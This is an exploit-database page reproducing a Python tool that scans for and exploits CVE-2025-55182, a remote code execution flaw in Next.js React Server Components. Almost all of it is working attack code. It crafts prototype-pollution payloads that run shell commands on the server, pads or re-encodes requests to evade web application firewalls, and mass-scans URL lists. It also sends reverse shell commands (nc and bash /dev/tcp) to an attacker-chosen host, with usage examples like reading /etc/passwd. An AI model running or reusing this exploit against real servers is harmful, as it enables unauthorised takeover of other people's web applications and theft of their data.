Exploit database

GH-ec4d20fbf18575bef078a0de55d348b1

l0n3m4n/cve-2025-55182-waf

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2025-55182

257 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files7
l0n3m4n/cve-2025-55182-wafRevision 046f9f7bea19

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

CVE-2025-55182.py

Python · 26,574 bytes
#!/usr/bin/env python3
import requests
import argparse
import json
import re
import urllib3
import asyncio
import aiohttp
import random
import string
import shutil
import os
from urllib.parse import urlparse
from requests_toolbelt.multipart.encoder import MultipartEncoder
from tqdm import tqdm
from colorama import init, Fore, Style

init(autoreset=True)

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


####################################################################################
# Scanner concept: Assetnote 
# Author: l0n3m4n 
# Improved: exploit enhancements, WAF bypass, reverse shell, async scanning etc. 
# CVE-2025-55182 - Next.js RCE 
# Scanner & Exploiter
#################################################################################### 


def log_info(message):
    print(f"{Fore.BLUE}{Style.BRIGHT}[*]{Style.RESET_ALL} {message}")

def log_warn(message):
    print(f"{Fore.YELLOW}{Style.BRIGHT}[?]{Style.RESET_ALL} {message}")

def log_error(message):
    print(f"{Fore.RED}{Style.BRIGHT}[-]{Style.RESET_ALL} {message}")

def log_success(message):
    print(f"{Fore.GREEN}{Style.BRIGHT}[+]{Style.RESET_ALL} {message}")

def print_banner():
    banner = r"""
__________                      __  ________    _________.__           .__  .__   
\______   \ ____ _____    _____/  |_\_____  \  /   _____/|  |__   ____ |  | |  |  
 |       _// __ \\__  \ _/ ___\   __\/  ____/  \_____  \ |  |  \_/ __ \|  | |  |  
 |    |   \  ___/ / __ \\  \___|  | /       \  /        \|   Y  \  ___/|  |_|  |__
 |____|_  /\___  >____  /\___  >__| \_______ \/_______  /|___|  /\___  >____/____/
        \/     \/     \/     \/             \/        \/      \/     \/                              
       Author: l0n3m4n  | CVE-2025-55182 | Next.js/React RSC Scanner & Exploit 
"""
    print(f"{Fore.CYAN}{Style.BRIGHT}{banner}{Style.RESET_ALL}")

def print_vulnerable_details(status_code, headers):
    """Prints a polished snippet of response headers for a vulnerable host."""
    import http.client
    reason = http.client.responses.get(status_code, "")

    print(f"    {Style.DIM}Response snippet:{Style.RESET_ALL}")
    print(f"      {Fore.CYAN}HTTP/1.1 {status_code} {reason}{Style.RESET_ALL}")
    if headers:
        for key, value in headers.items():
            print(f"      {Fore.YELLOW}{key}:{Style.RESET_ALL} {value}")
    print()

def print_failed_details(url, status_code, headers, body, body_limit=500):
    """Prints polished verbose output for a failed request."""
    log_info(f"Verbose output for {url}:")
    print(f"    {Fore.CYAN}{Style.BRIGHT}Status Code:{Style.RESET_ALL} {status_code}")
    
    print(f"    {Fore.CYAN}{Style.BRIGHT}Response Headers:{Style.RESET_ALL}")
    if headers:
        for key, value in headers.items():
            print(f"        {Fore.YELLOW}{key}:{Style.RESET_ALL} {value}")
    else:
        print("        (No headers received)")

    print(f"    {Fore.CYAN}{Style.BRIGHT}Response Body (first {body_limit} chars):{Style.RESET_ALL}")
    if body:
        indented_body = '\n        '.join(body[:body_limit].splitlines())
        print(f"        {indented_body}")
    else:
        print("        (No body received)")

def print_target_info(headers, os_type_from_rce="Unknown"):
    """Prints a structured summary of interesting response headers and detected OS."""
    interesting_headers = {
        'X-Powered-By': 'Technology',
        'Content-Type': 'Content Type',
        'Date': 'System Time'
    }
    
    inferred_os = os_type_from_rce
    web_server = "Unknown"

    server_header = headers.get('Server', '')
    if server_header:
        web_server = server_header  

        server_lower = server_header.lower()
        if inferred_os == "Unknown":  
            if "ubuntu" in server_lower or "debian" in server_lower or "centos" in server_lower or "linux" in server_lower:
                inferred_os = "Linux (inferred from Server header)"
            elif "windows" in server_lower:
                inferred_os = "Windows (inferred from Server header)"
            elif "cloudflare" in server_lower:
                inferred_os = "CDN (Cloudflare)" # Cloudflare often obscures true OS
    
    print(f"    {Fore.CYAN}{Style.BRIGHT}Target Information:{Style.RESET_ALL}")
    print(f"        {Fore.YELLOW}Detected OS:{Style.RESET_ALL} {inferred_os}")
    print(f"        {Fore.YELLOW}Web Server:{Style.RESET_ALL} {web_server}")
     
    found_any = False
    if headers:
        for key, display_name in interesting_headers.items():
            value = headers.get(key)
            if value:
                print(f"        {Fore.YELLOW}{display_name}:{Style.RESET_ALL} {value}")
                found_any = True
    
    if not found_any:
        print(f"        (No specific target information headers found, beyond OS/Web Server)")

def get_one_liner_target_info(headers, os_type_from_rce="Unknown"):
    """
    Returns a concise one-liner string summarizing target OS and web server.
    Example: "OS: Linux, Web Server: nginx/1.18.0 (Ubuntu)"
    """
    inferred_os = os_type_from_rce
    web_server = "Unknown"

    server_header = headers.get('Server', '')
    if server_header:
        web_server = server_header

        server_lower = server_header.lower()
        if inferred_os == "Unknown":
            if "ubuntu" in server_lower or "debian" in server_lower or "centos" in server_lower or "linux" in server_lower:
                inferred_os = "Linux"
            elif "windows" in server_lower:
                inferred_os = "Windows"
            elif "cloudflare" in server_lower:
                inferred_os = "CDN (Cloudflare)"
    
    parts = []
    if inferred_os != "Unknown":
        parts.append(f"OS: {inferred_os}")
    if web_server != "Unknown":
        parts.append(f"Web Server: {web_server}")
    
    if parts:
        return f" ({', '.join(parts)})"
    return ""

class AlignedHelpFormatter(argparse.RawDescriptionHelpFormatter):
    """Custom help formatter to align argument descriptions."""
    def __init__(self, prog, indent_increment=2, max_help_position=35, width=None):
        if width is None:
            try:
                width = shutil.get_terminal_size().columns
            except (ImportError, OSError):
                width = 80
        super().__init__(prog, indent_increment, max_help_position, width)

def escape_command(command):
    """Escapes single quotes and backslashes for safe embedding into the JavaScript payload."""
    return command.replace('\\', '\\\\').replace("'", "'\\")

def generate_junk_data(size_bytes: int) -> tuple[str, str]:
    """Generate random junk data for WAF bypass."""
    param_name = ''.join(random.choices(string.ascii_lowercase, k=12))
    junk = ''.join(random.choices(string.ascii_letters + string.digits, k=size_bytes))
    return param_name, junk

def construct_payload_parts(command, args):
    """Constructs the multipart form data parts based on scan/exploit arguments."""
    escaped_command = escape_command(command)
    parts = {}

    # --- WAF Bypas add junk data at the start ---
    if args.waf_bypass:
        param_name, junk = generate_junk_data(args.waf_bypass_size * 1024)
        parts[param_name] = junk

    # --- Base Payloads ---
    if args.scan_mode == 'safe':
        parts['1'] = '{}'
        parts['0'] = '["$1:aa:aa"]'
        return parts

    # --- RCE Payloads ---
    if args.scan_mode == 'vercel_bypass':
        prefix_payload = f"var res=process.mainModule.require('child_process').execSync('{escaped_command}').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{{digest: `NEXT_REDIRECT;push;/login?a=${{res}};307;`}});"
        part0 = {
            "then": "$1:__proto__:then", "status": "resolved_model", "reason": -1,
            "value": '{"then":"$B1337"}',
            "_response": {
                "_prefix": prefix_payload,
                "_chunks": "$Q2",
                "_formData": {"get": "$3:\"$$:constructor:constructor"}
            }
        }
        parts['0'] = json.dumps(part0)
        parts['1'] = '"$@0"'
        parts['2'] = '[]'
        parts['3'] = '{""\u0024\u0024":{}}'
    else:
        digest_payload = f"var res = process.mainModule.require('child_process').execSync('{escaped_command}',{{'timeout':5000}}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});"
        crafted_chunk = {
            "then": "$1:__proto__:then",
            "status": "resolved_model",
            "reason": -1,
            "value": '{"then": "$B0"}',
            "_response": {
                "_prefix": digest_payload,
                "_formData": {"get": "$1:constructor:constructor"},
            },
        }
        parts['0'] = json.dumps(crafted_chunk)
        parts['1'] = '"$@0"'
        
    # --- UTF-16LE WAF Bypass ---
    if args.waf_bypass_utf16le:
        encoded_parts = {}
        for key, value in parts.items():
            encoded_parts[key] = value.encode('utf-16le')
        return encoded_parts
        
    return parts

async def send_request_async(session, url, command, headers, proxy, args):
    """Sends the async request with the specified payload configuration."""
    if not url.startswith('http://') and not url.startswith('https://'):
        url = 'http://' + url

    payload_parts = construct_payload_parts(command, args)
    
    if args.waf_bypass_utf16le:
        form_data = aiohttp.FormData(quote_fields=False)
        for key, value in payload_parts.items():
            form_data.add_field(key, value, content_type='text/plain; charset=utf-16le')
    else:
        form_data = aiohttp.FormData()
        for key, value in payload_parts.items():
            form_data.add_field(key, value, content_type='text/plain')

    try:
        timeout = aiohttp.ClientTimeout(total=args.timeout)
        async with session.post(url, data=form_data, headers=headers, proxy=proxy, timeout=timeout, ssl=False) as response:
            return await response.text(), response.status, response.headers
    except asyncio.TimeoutError:
        return "Timeout", -1, {}
    except aiohttp.ClientConnectorError:
        return "Connection Error", -1, {}
    except Exception as e:
        return f"An error occurred: {e}", -1, {}

def send_request_sync(url, command, headers, proxy, args):
    """Sends the sync request with the specified payload configuration."""
    if not url.startswith('http://') and not url.startswith('https://'):
        url = 'http://' + url

    payload_parts = construct_payload_parts(command, args)
    
    try:
        if args.waf_bypass_utf16le:
            encoder = MultipartEncoder(fields=payload_parts)
            headers['Content-Type'] = f'multipart/form-data; boundary={encoder.boundary_value}; charset=utf-16le'
            res = requests.post(url, data=encoder, headers=headers, proxies={'http': proxy, 'https': proxy} if proxy else None, timeout=args.timeout, verify=False)
        else:
            files = {key: (None, value) for key, value in payload_parts.items()}
            res = requests.post(url, files=files, headers=headers, proxies={'http': proxy, 'https': proxy} if proxy else None, timeout=args.timeout, verify=False)
        
        return res.text, res.status_code, res.headers
    except Exception as e:
        return f"An error occurred: {e}", -1, {}

async def detect_os(session, url, headers, proxy, args):
    """Attempts to detect the target operating system."""
    response_text, _, _ = await send_request_async(session, url, 'uname', headers, proxy, args)
    match = re.search(r'"digest":"(.*?)"', response_text, re.DOTALL)
    if match and 'linux' in match.group(1).lower():
        return "Linux"

    response_text, _, _ = await send_request_async(session, url, 'ver', headers, proxy, args)
    match = re.search(r'"digest":"(.*?)"', response_text, re.DOTALL)
    if match and 'windows' in match.group(1).lower():
        return "Windows"
        
    return "Unknown"

async def scan_url(session, url, headers, proxy, output_file, args):
    """Scans a single URL for the vulnerability using the chosen scan mode."""
    one_liner_info = ""
    test_command = "echo 11111"  
    response_text, status_code, response_headers = await send_request_async(session, url, test_command, headers, proxy, args)

    vulnerable = False
    if args.scan_mode == 'safe':
        if status_code == 500 and 'E{"digest"' in response_text:
            vulnerable = True
    elif args.scan_mode == 'vercel_bypass':
        redirect_header = response_headers.get("X-Action-Redirect", "")
        if '11111' in redirect_header:
            vulnerable = True
    else:  
        match = re.search(r'"digest":"(.*?)"', response_text, re.DOTALL)
        if match and "11111" in match.group(1):
            vulnerable = True

    if vulnerable:
        detected_os = "Unknown"
        if args.verbose or (not args.verbose and not one_liner_info):  
            detected_os = await detect_os(session, url, headers, proxy, args)

        one_liner_info = get_one_liner_target_info(response_headers, detected_os)

        log_success(f"VULNERABLE: {url} - Status: {status_code} (Mode: {args.scan_mode}){one_liner_info}")
        if args.verbose:
            print_vulnerable_details(status_code, response_headers)
        
        if output_file:
            output_file.write(f"[+] VULNERABLE: {url}\n")
    else:
        one_liner_info = get_one_liner_target_info(response_headers, "Unknown")
        log_error(f"NOT VULNERABLE: {url}{one_liner_info}")
        if args.verbose:
            print_failed_details(url, status_code, response_headers, response_text)

def process_exploit_response(url, response_text, status_code, response_headers, args, success_log_message, error_log_message, output_file):
    """Processes the response from an exploit attempt."""
    one_liner_info = get_one_liner_target_info(response_headers, "Unknown")
    match = re.search(r'"digest":"(.*?)"', response_text, re.DOTALL)
    if match:
        full_output = match.group(1).replace('\\n', '\n').replace('\\r', '')
        log_success(f"{success_log_message} - Status: {status_code}{one_liner_info}")
        if args.verbose:
            print_vulnerable_details(status_code, response_headers)

        if output_file:
            output_file.write(f"[+] SUCCESS: {url} | Output: {full_output}\n")
        
        print(f"{Fore.YELLOW}{'-'*40}{Style.RESET_ALL}")
        print(f"{Style.BRIGHT}{full_output}{Style.RESET_ALL}")
        print(f"{Fore.YELLOW}{'-'*40}{Style.RESET_ALL}")
    else:
        log_error(f"{error_log_message}{one_liner_info}")
        if args.verbose:
            print_failed_details(url, status_code, response_headers, response_text, body_limit=200)

async def exploit_url_async(session, url, command, headers, proxy, args, output_file):
    """Exploits a single URL with a given command asynchronously."""
    log_info(f"Exploiting: {Style.BRIGHT}{url}{Style.RESET_ALL} with command: {Style.BRIGHT}{command}{Style.RESET_ALL}")
    args.scan_mode = 'rce'
    response_text, status_code, response_headers = await send_request_async(session, url, command, headers, proxy, args)
    process_exploit_response(url, response_text, status_code, response_headers, args, f"SUCCESS for {url}:", f"FAILED for {url}", output_file)

def exploit_url(url, command, headers, proxy, args, output_file):
    """Exploits a single URL with a given command."""
    log_info(f"Exploiting: {Style.BRIGHT}{url}{Style.RESET_ALL} with command: {Style.BRIGHT}{command}{Style.RESET_ALL}")
    args.scan_mode = 'rce'
    response_text, status_code, response_headers = send_request_sync(url, command, headers, proxy, args)
    process_exploit_response(url, response_text, status_code, response_headers, args, "COMMAND EXECUTED SUCCESSFULLY", "FAILED TO EXECUTE COMMAND", output_file)

async def reverse_shell(session, url, lhost, lport, headers, proxy, args, custom_payload_content=None):
    """Attempts to establish a reverse shell."""
    log_info(f"Attempting reverse shell to {lhost}:{lport} from {url}")
    
    os_type = args.os
    if os_type == 'auto':
        log_info("Detecting OS automatically...")
        os_type = await detect_os(session, url, headers, proxy, args)
        log_info(f"Detected OS: {os_type}")
    else:
        log_info(f"Using specified OS: {os_type}")

    log_info("Using Linux (bash) reverse shell payload.")
    rev_shell_command = f"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {lhost} {lport} >/tmp/f'"

    rev_shell_command = ""
    if custom_payload_content:
        log_info("Using custom payload for reverse shell.")
        rev_shell_command = custom_payload_content.replace("LHOST", lhost).replace("LPORT", lport)
    elif os_type == "linux":
        log_info("Using Linux (bash) reverse shell payload.")
        try:
            with open('linux_revshell.sh', 'r') as f:
                rev_shell_command = f.read().replace("LHOST", lhost).replace("LPORT", lport)
        except FileNotFoundError:
            log_error("linux_revshell.sh not found. Using default bash payload.")
            rev_shell_command = f"""bash -c 'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1'"""

    elif os_type == "windows":
        log_info("Using Windows (powershell) reverse shell payload.")
        try:
            with open('windows_revshell.ps1', 'r') as f:
                rev_shell_command = f.read().replace("LHOST", lhost).replace("LPORT", lport)
        except FileNotFoundError:
            log_error("windows_revshell.ps1 not found. Cannot proceed with Windows reverse shell.")
            return
    else:
        log_warn("Could not determine OS. Defaulting to Linux (bash) payload.")
        rev_shell_command = f"""bash -c 'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1'"""

    log_info(f"Please start your listener, e.g., nc -lvnp {lport}")
    
    args.scan_mode = 'rce'
    await send_request_async(session, url, rev_shell_command, headers, proxy, args)
    log_info("Payload sent. Check your listener.")

async def main():
    print_banner()
    parser = argparse.ArgumentParser(
        description="Powerful all-in-one tool (scan and exploit) CVE-2025-55182 in Next.js applications",
        epilog='''Examples:
  # Scan a single URL with the default 'rce' check
  python3 CVE-2025-55182.py -u http://target.com

  # Scan a list of URLs with the safe, side-channel check and 20 threads
  python3 CVE-2025-55182.py -f urls.txt -sm safe -t 20

  # Scan with Vercel WAF bypass mode and save vulnerable URLs to a file
  python3 CVE-2025-55182.py -f urls.txt -sm vercel_bypass -o vulnerable.txt

  # Exploit a single URL to run a command
  python3 CVE-2025-55182.py -u http://target.com -c "cat /etc/passwd"

  # Exploit a target with WAF bypass enabled (128KB junk data by default)
  python3 CVE-2025-55182.py -u http://waf.target.com -c "whoami" -wb

   # Exploit a target with WAF bypass and UTF-16LE encoding
  python3 CVE-2025-55182.py -u http://waf.target.com -c "whoami" -wbu

  # Exploit with a larger WAF bypass payload of 256KB
  python3 CVE-2025-55182.py -u http://waf.target.com -c "whoami" -wb -wbs 256

  # Exploit with a custom payload using -p (overrides -c if both are present)
  python3 CVE-2025-55182.py -u http://target.com -p "my custom payload"

  # Exploit with a custom payload from a file
  python3 CVE-2025-55182.py -u http://target.com -p /path/to/payload.txt

  # Get a reverse shell from a Linux target
  python3 CVE-2025-55182.py -u http://target.com -r 10.10.10.1:4444

  # Get a reverse shell using a payload file (remember to set LHOST/LPORT in the file)
  python3 CVE-2025-55182.py -u http://target.com -p linux_revshell.sh

  # Scan a URL through a Burp Suite proxy with a custom header
  python3 CVE-2025-55182.py -u http://internal.app -P http://127.0.0.1:8080 -H "Cookie: session=xyz"

  # Enable verbose output to see full details for non-vulnerable targets
  python3 CVE-2025-55182.py -f urls.txt -v
''',
        formatter_class=AlignedHelpFormatter
    )
    
    input_group = parser.add_mutually_exclusive_group(required=True)
    input_group.add_argument("-u", "--url", metavar='URL', help="Single URL to scan or exploit.")
    input_group.add_argument("-f", "--file", metavar='FILE', help="File containing a list of URLs to scan/exploit.")

    exploit_group = parser.add_argument_group('Exploitation Options')
    exploit_group.add_argument("-c", "--command", metavar='COMMAND', help="Command to execute on the target(s).")
    exploit_group.add_argument("-p", "--payloads", metavar='PAYLOAD', help="Custom payload to execute on the target(s). Can be a string or a file path.")
    exploit_group.add_argument("-r", "--reverse-shell", metavar='LHOST:LPORT', help="Attempt a reverse shell.")
 
    scan_group = parser.add_argument_group('Scanning Options')
    scan_group.add_argument("-sm", "--scan-mode", metavar='MODE', default='rce', choices=['rce', 'safe', 'vercel_bypass'], 
                            help="Scanning technique. Choices: {rce, safe, vercel_bypass}. (default: rce)")
    scan_group.add_argument("-wb", "--waf-bypass", action="store_true", help="Add junk data to the request to bypass WAFs.")
    scan_group.add_argument("-wbs", "--waf-bypass-size", type=int, default=128, metavar="KB", help="Size of junk data in KB (default: 128).")
    scan_group.add_argument("-wbu", "--waf-bypass-utf16le", action="store_true", help="Use UTF-16LE encoding to bypass WAFs.")

    general_group = parser.add_argument_group('General Options')
    general_group.add_argument("-o", "--output", metavar='FILE', help="File to save vulnerable URLs from scans.")
    general_group.add_argument("-t", "--threads", metavar='NUM', type=int, default=10, help="Number of concurrent threads (default: 10).")
    general_group.add_argument("-T","--timeout", metavar='SEC', type=int, default=10, help="Request timeout in seconds (default: 10).")
    general_group.add_argument("-P", "--proxy", metavar='URL', help="Proxy to use (e.g., http://127.0.0.1:8080).")
    general_group.add_argument("-H", "--header", metavar='HEADER', action="append", help="Add custom headers (e.g., 'Cookie: session=...').")
    general_group.add_argument("-v", "--verbose", action="store_true", help="Enable verbose output for success/failed/non-vulnerable checks.")

    args = parser.parse_args()

    custom_headers = {
        "Next-Action": "x",
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36"
    }
    if args.header:
        for header in args.header:
            key, value = header.split(":", 1)
            custom_headers[key.strip()] = value.strip()

    command_to_execute = None
    rs_custom_payload_content = None  
    
    if args.payloads:
        if os.path.isfile(args.payloads):
            if args.reverse_shell:
                rs_custom_payload_content = None
                try:
                    with open(args.payloads, 'r') as f:
                        rs_custom_payload_content = f.read().strip()
                    log_info(f"Loaded custom reverse shell payload from file: {args.payloads}")
                except Exception as e:
                    log_error(f"Error reading custom reverse shell payload from file: {e}")
                    return
            else:
                try:
                    with open(args.payloads, 'r') as f:
                        command_to_execute = f.read().strip()
                    log_info(f"Loaded command payload from file: {args.payloads}")
                except Exception as e:
                    log_error(f"Error reading command payload from file: {e}")
                    return
        else:
            command_to_execute = args.payloads  
    elif args.command:
        command_to_execute = args.command
            
    is_exploit_mode = (command_to_execute is not None) or args.reverse_shell
    
    urls = []
    if args.url:
        urls.append(args.url)
    elif args.file:
        try:
            with open(args.file, 'r') as f:
                urls = [line.strip() for line in f if line.strip()]
        except FileNotFoundError:
            log_error(f"File '{args.file}' not found.")
            return

    if not urls:
        log_error("No URLs to process.")
        return

    output_file = None
    if args.output:
        try:
            output_file = open(args.output, 'w')
        except IOError:
            log_error(f"Could not open file for writing: {args.output}")
            return

    if len(urls) == 1:
        url = urls[0]
        if args.reverse_shell:
            try:
                lhost, lport = args.reverse_shell.split(":")
                async def run_reverse_shell_task():
                    async with aiohttp.ClientSession(connector=aiohttp.TCPConnector(limit=args.threads)) as session:
                        await reverse_shell(session, url, lhost, lport, custom_headers, args.proxy, args, rs_custom_payload_content)
                asyncio.run(run_reverse_shell_task())
            except ValueError:
                log_error("Invalid format for --reverse-shell. Use LHOST:LPORT.")
        elif command_to_execute:
            exploit_url(url, command_to_execute, custom_headers, args.proxy, args, output_file)
        else: 
            async with aiohttp.ClientSession(connector=aiohttp.TCPConnector(limit=args.threads)) as session:
                await scan_url(session, url, custom_headers, args.proxy, output_file, args)
        
        if output_file:
            output_file.close()
            log_info(f"Results saved to {args.output}")
        return

    async with aiohttp.ClientSession(connector=aiohttp.TCPConnector(limit=args.threads)) as session:
        if args.reverse_shell:
            log_warn("Reverse shell mode is not supported for multiple URLs in this script version. Skipping reverse shell attempts for multiple URLs.")
            if output_file:
                output_file.close()
            return  
        elif command_to_execute:
            tasks = [exploit_url_async(session, url, command_to_execute, custom_headers, args.proxy, args, output_file) for url in urls]
        else:
            tasks = [scan_url(session, url, custom_headers, args.proxy, output_file, args) for url in urls]
        
        for f in tqdm(asyncio.as_completed(tasks), total=len(tasks), desc="Processing URLs"):
            await f

    if output_file:
        output_file.close()
        log_info(f"\nScan results saved to {args.output}")

if __name__ == "__main__":
    asyncio.run(main())